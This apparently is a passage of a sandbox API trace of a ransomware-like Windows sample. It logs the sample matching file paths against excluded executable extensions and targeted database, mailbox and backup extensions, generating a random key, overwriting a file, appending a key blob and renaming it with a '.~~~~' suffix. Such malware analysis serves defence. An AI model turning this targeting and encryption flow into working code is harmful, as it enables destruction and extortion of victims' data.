	[0081.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".BAK") returned 0x0
	[0081.086] lstrlenW (lpString=".BAC") returned 4
	[0081.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".BAC") returned 0x0
	[0081.086] lstrlenW (lpString=".dbs") returned 4
	[0081.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".dbs") returned 0x0
	[0081.086] lstrlenW (lpString=".vhdx") returned 5
	[0081.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".vhdx") returned 0x0
	[0081.086] lstrlenW (lpString=".NDF") returned 4
	[0081.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".NDF") returned 0x0
	[0081.086] lstrlenW (lpString=".dat") returned 4
	[0081.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".dat") returned 0x0
	[0081.086] lstrlenW (lpString=".DBS") returned 4
	[0081.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".DBS") returned 0x0
	[0081.086] lstrlenW (lpString=".CKP") returned 4
	[0081.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".CKP") returned 0x0
	[0081.086] lstrlenW (lpString=".edb") returned 4
	[0081.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".edb") returned 0x0
	[0081.086] lstrlenW (lpString=".PST") returned 4
	[0081.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".PST") returned 0x0
	[0081.086] lstrlenW (lpString=".dbf") returned 4
	[0081.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".dbf") returned 0x0
	[0081.086] lstrlenW (lpString=".SQL") returned 4
	[0081.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".SQL") returned 0x0
	[0081.087] lstrlenW (lpString=".pst") returned 4
	[0081.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".pst") returned 0x0
	[0081.087] lstrlenW (lpString=".dbv") returned 4
	[0081.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".dbv") returned 0x0
	[0081.087] lstrlenW (lpString=".SDF") returned 4
	[0081.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".SDF") returned 0x0
	[0081.087] lstrlenW (lpString=".dtxs") returned 5
	[0081.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".dtxs") returned 0x0
	[0081.087] lstrlenW (lpString=".db3") returned 4
	[0081.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".db3") returned 0x0
	[0081.087] lstrlenW (lpString=".OST") returned 4
	[0081.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".OST") returned 0x0
	[0081.087] lstrlenW (lpString=".dbx") returned 4
	[0081.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".dbx") returned 0x0
	[0081.087] lstrlenW (lpString=".DB3") returned 4
	[0081.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".DB3") returned 0x0
	[0081.087] lstrlenW (lpString=".DAT") returned 4
	[0081.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".DAT") returned 0x0
	[0081.087] lstrlenW (lpString=".VHDX") returned 5
	[0081.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".VHDX") returned 0x0
	[0081.087] lstrlenW (lpString=".ndf") returned 4
	[0081.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".ndf") returned 0x0
	[0081.088] lstrlenW (lpString=".DB") returned 3
	[0081.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".DB") returned 0x0
	[0081.088] lstrlenW (lpString=".sql") returned 4
	[0081.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".sql") returned 0x0
	[0081.088] lstrlenW (lpString=".MYD") returned 4
	[0081.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".MYD") returned 0x0
	[0081.088] lstrlenW (lpString=".DBT") returned 4
	[0081.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".DBT") returned 0x0
	[0081.088] lstrlenW (lpString=".ACCDB") returned 6
	[0081.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".ACCDB") returned 0x0
	[0081.088] lstrlenW (lpString=".fdb") returned 4
	[0081.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".fdb") returned 0x0
	[0081.088] lstrlenW (lpString=".bak") returned 4
	[0081.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".bak") returned 0x0
	[0081.088] lstrlenW (lpString=".myd") returned 4
	[0081.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".myd") returned 0x0
	[0081.088] lstrlenW (lpString=".DTXS") returned 5
	[0081.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".DTXS") returned 0x0
	[0081.088] lstrlenW (lpString=".ckp") returned 4
	[0081.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".ckp") returned 0x0
	[0081.088] lstrlenW (lpString=".dbt") returned 4
	[0081.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".dbt") returned 0x0
	[0081.088] lstrlenW (lpString=".db") returned 3
	[0081.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".db") returned 0x0
	[0081.089] lstrlenW (lpString=".TXT") returned 4
	[0081.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".TXT") returned 0x0
	[0081.089] lstrlenW (lpString=".MDF") returned 4
	[0081.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".MDF") returned 0x0
	[0081.089] lstrlenW (lpString=".bdb") returned 4
	[0081.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".bdb") returned 0x0
	[0081.089] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0081.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.089] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0081.090] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.090] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.090] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0081.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3e46f0
	[0081.090] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20108039240) returned 1
	[0081.090] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9a2f4830, dwHighDateTime=0x1d60e1e)) 
	[0081.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0081.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0081.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0081.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe050
	[0081.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe050 | out: hHeap=0x300000) returned 1
	[0081.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0081.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0081.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0081.091] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0081.091] GetLastError () returned 0x0
	[0081.091] GetLastError () returned 0x0
	[0081.091] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0081.091] GetLastError () returned 0x0
	[0081.091] GetLastError () returned 0x0
	[0081.091] ReadFile (in: hFile=0x120, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x24dfec0*=0x75e, lpOverlapped=0x0) returned 1
	[0081.112] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff8a2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.112] WriteFile (in: hFile=0x120, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x75e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x75e, lpOverlapped=0x0) returned 1
	[0081.112] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0081.114] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.115] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.115] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.115] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.115] CloseHandle (hObject=0x120) returned 1
	[0081.115] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x39d898
	[0081.115] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.~~~~")) returned 1
	[0081.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d898 | out: hHeap=0x300000) returned 1
	[0081.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0081.118] GetLastError () returned 0x0
	[0081.118] RtlWakeConditionVariable () returned 0x365f70
	[0081.118] GetCurrentThreadId () returned 0x3a4
	[0081.118] GetCurrentThreadId () returned 0x3a4
	[0081.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0081.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b35c8 | out: hHeap=0x300000) returned 1
	[0081.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fac10 | out: hHeap=0x300000) returned 1
	[0081.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0a88
	[0081.118] lstrlenW (lpString=".scr") returned 4
	[0081.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".scr") returned 0x0
	[0081.118] lstrlenW (lpString=".cmd") returned 4
	[0081.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".cmd") returned 0x0
	[0081.118] lstrlenW (lpString=".dll") returned 4
	[0081.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".dll") returned 0x0
	[0081.118] lstrlenW (lpString=".bat") returned 4
	[0081.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".bat") returned 0x0
	[0081.118] lstrlenW (lpString=".cpl") returned 4
	[0081.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".cpl") returned 0x0
	[0081.118] lstrlenW (lpString=".sys") returned 4
	[0081.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".sys") returned 0x0
	[0081.119] lstrlenW (lpString=".msc") returned 4
	[0081.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".msc") returned 0x0
	[0081.119] lstrlenW (lpString=".com") returned 4
	[0081.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".com") returned 0x0
	[0081.119] lstrlenW (lpString=".lnk") returned 4
	[0081.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".lnk") returned 0x0
	[0081.119] lstrlenW (lpString=".msp") returned 4
	[0081.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".msp") returned 0x0
	[0081.119] lstrlenW (lpString=".pif") returned 4
	[0081.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".pif") returned 0x0
	[0081.119] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0081.119] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0081.120] lstrlenW (lpString=".sqb") returned 4
	[0081.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".sqb") returned 0x0
	[0081.120] lstrlenW (lpString=".ost") returned 4
	[0081.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".ost") returned 0x0
	[0081.120] lstrlenW (lpString=".txt") returned 4
	[0081.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".txt") returned 0x0
	[0081.120] lstrlenW (lpString=".mdt") returned 4
	[0081.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".mdt") returned 0x0
	[0081.120] lstrlenW (lpString=".BDB") returned 4
	[0081.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".BDB") returned 0x0
	[0081.120] lstrlenW (lpString=".eql") returned 4
	[0081.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".eql") returned 0x0
	[0081.120] lstrlenW (lpString=".DBF") returned 4
	[0081.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".DBF") returned 0x0
	[0081.120] lstrlenW (lpString=".EQL") returned 4
	[0081.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".EQL") returned 0x0
	[0081.120] lstrlenW (lpString=".FDB") returned 4
	[0081.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".FDB") returned 0x0
	[0081.120] lstrlenW (lpString=".EDB") returned 4
	[0081.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".EDB") returned 0x0
	[0081.120] lstrlenW (lpString=".DACPAC") returned 7
	[0081.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".DACPAC") returned 0x0
	[0081.120] lstrlenW (lpString=".VHD") returned 4
	[0081.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".VHD") returned 0x0
	[0081.120] lstrlenW (lpString=".DBV") returned 4
	[0081.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".DBV") returned 0x0
	[0081.121] lstrlenW (lpString=".dacpac") returned 7
	[0081.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".dacpac") returned 0x0
	[0081.121] lstrlenW (lpString=".sdf") returned 4
	[0081.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".sdf") returned 0x0
	[0081.121] lstrlenW (lpString=".accdb") returned 6
	[0081.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".accdb") returned 0x0
	[0081.121] lstrlenW (lpString=".DBX") returned 4
	[0081.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".DBX") returned 0x0
	[0081.121] lstrlenW (lpString=".MDT") returned 4
	[0081.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".MDT") returned 0x0
	[0081.121] lstrlenW (lpString=".SQB") returned 4
	[0081.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".SQB") returned 0x0
	[0081.121] lstrlenW (lpString=".vhd") returned 4
	[0081.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".vhd") returned 0x0
	[0081.121] lstrlenW (lpString=".bac") returned 4
	[0081.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".bac") returned 0x0
	[0081.121] lstrlenW (lpString=".mdf") returned 4
	[0081.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".mdf") returned 0x0
	[0081.121] lstrlenW (lpString=".BAK") returned 4
	[0081.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".BAK") returned 0x0
	[0081.121] lstrlenW (lpString=".BAC") returned 4
	[0081.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".BAC") returned 0x0
	[0081.121] lstrlenW (lpString=".dbs") returned 4
	[0081.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".dbs") returned 0x0
	[0081.121] lstrlenW (lpString=".vhdx") returned 5
	[0081.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".vhdx") returned 0x0
	[0081.122] lstrlenW (lpString=".NDF") returned 4
	[0081.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".NDF") returned 0x0
	[0081.122] lstrlenW (lpString=".dat") returned 4
	[0081.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".dat") returned 0x0
	[0081.122] lstrlenW (lpString=".DBS") returned 4
	[0081.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".DBS") returned 0x0
	[0081.122] lstrlenW (lpString=".CKP") returned 4
	[0081.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".CKP") returned 0x0
	[0081.122] lstrlenW (lpString=".edb") returned 4
	[0081.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".edb") returned 0x0
